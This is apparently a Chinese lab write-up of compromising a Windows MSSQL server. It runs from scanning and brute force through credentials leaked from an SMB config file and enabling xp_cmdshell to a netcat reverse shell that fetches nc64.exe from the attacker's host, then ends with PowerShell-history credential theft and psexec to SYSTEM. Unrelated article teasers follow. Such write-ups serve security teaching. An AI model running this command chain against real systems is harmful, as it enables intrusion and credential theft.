MSSQL渗透测试

目录

    • mssql数据库连接
    • 提权至服务器权限

拿到目标的IP地址,我们先对IP地址进行信息收集,收集信息资产,同时使用nmap对IP地址进行扫描

nmap -sC -sV IP

在这里插入图片描述

从扫描的结果中,我们能知道目标服务器是windows操作系统,使用的是mssql数据库,数据库端口对外开放,我们先对1433端口进行爆破

hydra -L /root/user.txt -P /root/pass.txt ip mssql -vv

在这里插入图片描述

没有扫描出账号密码,看一下其它的端口有没有可以利用的地方

这个135端口是高危端口,我们去网上搜索一下相关利用资料,发现这个端口在之前涉及到一个冲击波病毒,这个端口有登录点,可以进行爆破,我这里使用NTscan进行爆破,没有跑出来

https://zhuanlan.zhihu.com/p/56059871

在这里插入图片描述

RPC协议提供DCOM服务,使用DCOM可以通过网络直接进行通信,能够跨包括HTTP协议在内的多种网络传输

下面的两个139和445端口试了,也没有什么突破,我们看到1433端口,有用到smb协议,我们尝试一下

smbclient -N -L IP

在这里插入图片描述

查看smb文件成功,smb协议是一种网络通信协议,客户端应用程序可以在各种网络环境下读、写服务器上的文件,以及对服务器程序提出服务请求。此外通过 SMB 协议,应用程序可以访问远程服务器端的文件、以及打印机等资源

我们这里是使用空口令进行登录并且查看smb文件,说明这个地方存在空口令漏洞

在这里插入图片描述

接下来,我们一个个查看smb文件,看看有没有什么敏感的信息泄露

smbclient \\\\IP\\查看的文件名

在这里插入图片描述

权限不够,加$的目录需要管理员权限,看来我们的账号有点不太行,看一下backups的
在这里插入图片描述

prod.dtsConfig好像是一个配置文件,我们把它下载下来看一下

get prod.dtsConfig

在这里插入图片描述

这个配置文件是MSSQL中SSIS的XML格式配置文件,里面应该会有我们想要的信息

在这里插入图片描述

在这里,我们找到了mssql数据库的账号密码,那我们现在就去连接目标的mssql服务器

mssql数据库连接

使用Impacket工具中的mssqlclient.py脚本去连接,进入/root/impacket/examples/目录,然后使用mssqlclient.py脚本去连接就可以了

python3 mssqlclient.py ARCHETYPE/sql_svc@IP -windows-auth

在这里插入图片描述

输入上面获得的密码,连接成功,获取

-windows-auth :使用 Windows 身份验证

我们接下来就是进行提权,我们需要判断sql_svc是不是管理员账号,权限够不够大

help

在这里插入图片描述

我们看到这里有xp_cmdshell功能,我们接着判断一下sql_svc是不是管理员账号

select is_srvrolemember('sysadmin');

在这里插入图片描述

返回1,说明是mssql的最高权限,sa,那我们就不需要提权了,我们试一下能不能执行命令

EXEC xp_cmdshell "net user";

在这里插入图片描述

返回error,说明xp_cmdshell功能不能使用,命令无法执行,我们使用以下命令组开启xp_cmdshell功能

EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE

在这里插入图片描述
在这里插入图片描述

xp_cmdshell "whoami"

在这里插入图片描述

确认命令能够执行,但是在数据库当中不好操作,所以我们接下来就要反弹shell
我们将上传nc.exe到目标服务器上,先开启HTTP服务器、nc侦听器

python3 -m http.server  80

在这里插入图片描述

nc -nvlp 1234

在这里插入图片描述

在目标数据库中查看当前目录

exec xp_cmdshell "powershell -c pwd";

在这里插入图片描述

路径在C:\Windows\system32,这个可不好操作,因为我们只是数据库的最高权限,是无法修改系统的目录,这个时候,我们要改变上传的目录,我进行了目录枚举,失败了,根本移动不了,从网上找了一个默认的上传目录
C:\Users\sql_svc\Downloads,切换到数据库的默认目录C:\Users\sql_svc\Downloads并下载我们本地的nc.exe

xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; wget http://本地连接目标服务器的IP/nc64.exe -outfile nc64.exe"  

在这里插入图片描述
在这里插入图片描述

nc上传成功,nc反弹shell

xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; .\nc64.exe -e cmd.exe 本地连接目标服务器的IP 1234"

在这里插入图片描述
在这里插入图片描述

反弹shell成功,拿到目标数据库的权限

在这里插入图片描述

我们后续的命令在nc上面敲就好了,拿到数据库的权限,我们还要进一步提权,获取服务器的权限,以便于我们后续的信息收集

提权至服务器权限

在提权这里我使用的是winpeas,它可以帮我们寻找可以提权的方式
直接在nc界面输命令,先进入powershell界面

powershell

在这里插入图片描述

然后把winpeas.exe给下载进去

wget http://本地连接目标服务器的IP/winPEASx64.exe -outfile winpeas.exe

在这里插入图片描述
在这里插入图片描述

直接执行winpeas.exe这个工具就可以了,这个工具重点的东西,它会标红进行显示

.\winpeas.exe

在这里插入图片描述
在这里插入图片描述

看到这里,我知道这台服务器之前登录过两个账号,其中还有一个是管理员账号

ConsoleHost_history.txt是windows系统的powershell历史记录文件,我们去看看

cd AppData
cd Roaming\Microsoft\Windows\PowerShell\PSReadLine\
ls
type ConsoleHost_history.txt

在这里插入图片描述

我们直接看到了账号密码

winpeas不仅是一个提权的工具,它还能很好的收集服务器的信息,可以当作信息收集工具来使用,从它收集来的信息来看,这个目标没有内网

https://cloud.tencent.com/developer/article/2149150

在这里插入图片描述

我们得到了服务器管理员的账号密码,那我们现在就去连接一下,使用Impacket 套件中的psexec.py去连接

python3 psexec.py administrator@目标IP
whoami

在这里插入图片描述

成功获取服务器的system权限,因为没有内网就到这里了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/707675.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

DAY10-内容安全过滤技术概述

文件过滤技术流程: 应用行为控制技术具体:

W-TinyLFU 算法实现

前言 不同于常见的 LRU 或 LFU,Window TinyLFU 是一种非常高效的缓存设计方案。先来看下 LRU 和 LFU 算法的缺点: LFU 缺点: 需要为每个记录项维护频率信息,这将消耗大量的内存空间可能存在旧数据长期不被淘汰(一开…

快速卷积介绍

快速卷积是一种使用快速傅里叶变换(FFT)来有效计算两个序列(信号、函数等)卷积的方法。快速卷积对于数字信号处理、图像处理、音频处理等领域至关重要,因为它大大提高了计算卷积的效率。 卷积的概念 卷积是一种数学运…

让AI给你写代码,初体验(二)-写一个flask应用

这里我们准备让AI做一个稍微复杂一点任务,写一个前后应用,具体: 前台用html输入股票代码,后台通过akshare的接口程序获取该股票的实时价格,然后返回显示在html 我们先用AI对话看一下,AI会给我们什么编码建…

Flink Catalog

1.Flink侧创建 按照SQL的解析处理流程在Parse解析SQL以后,进入执行流程——executeInternal。   其中有个分支专门处理创建Catalog的SQL命令 } else if (operation instanceof CreateCatalogOperation) {return createCatalog((CreateCatalogOperation) operatio…

[多进程] 进程间通信-笔记

文章目录 创建进程的方法Linuxforkexecsystem Windowscreateprocessshellexecutesystem 进程间通信方法管道(Pipe)管道的种类特点 通过文件通信内存映射(文件映射)匿名映射 共享内存 信号量(或者锁)消息队列Windows消息队列Linux…

finedance 测试笔记

目录 依赖库: 预测流程: 音乐wav切割120帧 general_all.py改进 smplx 学习笔记: 依赖库: import pickle5 as picklepypi尚pickle5最高python版本3.7: pickle5 PyPI 解决方法,改为 import pickle …

cpp基础学习笔记01

C和C的区别 1.语言类型:C 是一种过程性编程语言,着重于以函数为基础的结构化编程;而 C 是一种多范式编程语言,支持面向对象编程(OOP)和泛型编程等多种编程范式。 2.对象模型:C 支持类和对象的概…

switch其他知识点

1.default的位置在整体输出语句中,放哪都可以; 省略的话结果会不显示; 2.case穿透,还是比较好理解的,因为缺少break导致会把下面的也打印,结果是输出多个 3.switch新特性:是用->减号和大于…

Mysql <=> 安全等于

<> 安全等于&#xff0c;为NULL安全的等值比较运算符&#xff08;NULL-safe equal&#xff09;&#xff0c;该操作符作用类似“”。 区别为当符号两边出现NULL值时&#xff0c;操作符会返回NULL&#xff0c;而<>会返回1&#xff08;两边操作数都为NULL时&#xff…

柯桥会计培训学校,会计职称考试,考中级会计怎么证明工作年限?

中级会计考试是会计从业人员的重要考试之一&#xff0c;对于中级考生来说&#xff0c;工作年限证明是必不可少的一步。因此&#xff0c;在考中级会计之前&#xff0c;需要对如何证明工作年限进行了解和掌握。 为大家整理了工作年限证明相关信息&#xff0c;一起来看看吧~ 一、…

Rocky Linux 运维工具 ls

一、ls 的简介 ​​ls​ 用于列出当前目录下的文件和目录&#xff0c;以及它们的属性信息。通过 ​ls​命令可以查看文件名、文件大小、创建时间等信息&#xff0c;并方便用户浏览和管理文件。 二、ls 的参数说明 序号参数描述1-a显示所有文件&#xff0c;包括以 ​.​开头的…

java单元测试技巧

Test装饰器指定断言类型 在JUnit 4中&#xff0c;你可以使用expected属性在Test注解中声明期望的异常类型。如&#xff1a; Test(expected Exception.class) public void testSqlSessionFactoryBeanWithNullDataSource() throws Exception {

5G双域快网

目录 一、业务场景 二、三类技术方案 2.1、专用DNN方案 2.2、ULCL方案&#xff1a;通用/专用DNNULCL分流 2.3、 多DNN方案-定制终端无感分流方案 漫游场景 一、业务场景 初期双域专网业务可划分为三类业务场景&#xff0c;学校、政务、文旅等行业均已提出公/专网融合访问需…

Spring MVC HandlerAdapter原理解析

在Spring MVC框架中&#xff0c;HandlerAdapter&#xff08;处理器适配器&#xff09;是一个非常重要的组件&#xff0c;它负责调用处理器&#xff08;Handler&#xff09;来处理客户端的请求。HandlerAdapter在请求处理流程中起到了桥梁的作用&#xff0c;连接了DispatcherSer…

【DDD】学习笔记-领域驱动设计对持久化的影响

资源库的实现 如何重用资源库的实现&#xff0c;以及如何隔离领域层与基础设施层的持久化实现机制&#xff0c;具体的实现还要取决于开发者对 ORM 框架的选择。Hibernate、MyBatis、jOOQ 或者 Spring Data JPA&#xff08;当然也包括基于 .NET 的 Entity Framework、NHibernat…

Acwing周赛记录

很难得参加一次周赛hhhhh这次参加的是第144场周赛&#xff0c;一共有三道题 AcWing 5473. 简单数对推理 给定两个整数数对&#xff0c;每个数对都包含两个 1∼9 之间的不同整数。 这两个数对恰好包含一个公共数&#xff0c;即恰好有一个整数同时包含于这两个数对。 给定这两…

选择排序,冒泡排序,插入排序,快速排序及其优化

目录 1 选择排序 1.1 原理 1.2 具体步骤 1.3 代码实现 1.4 优化 2 冒泡排序 2.1 原理 2.2 具体步骤 2.3 代码实现 2.4 优化 3 插入排序 3.1 原理 3.2 具体步骤 3.3 代码实现 3.4 优化 4. 快速排序 4.1 原理 4.2 具体步骤 4.3 代码实现 4.4 优化 为了讲…

linux动态库加载相关

linux下动态库搜索规则 (1)编译目标代码时指定的动态库搜索路径,也就是RPATH&#xff1b; (2)环境变量LD_LIBRARY_PATH指定的动态库搜索路径&#xff1b; (3)配置文件/etc/ld.so.conf中指定的动态库搜索路径&#xff1b;配置完毕后需运行ldconfig命令生效&#xff1b; (4)默…

Linux课程四课---Linux开发环境的使用(vim编辑器的相关)

作者前言 &#x1f382; ✨✨✨✨✨✨&#x1f367;&#x1f367;&#x1f367;&#x1f367;&#x1f367;&#x1f367;&#x1f367;&#x1f382; ​&#x1f382; 作者介绍&#xff1a; &#x1f382;&#x1f382; &#x1f382; &#x1f389;&#x1f389;&#x1f389…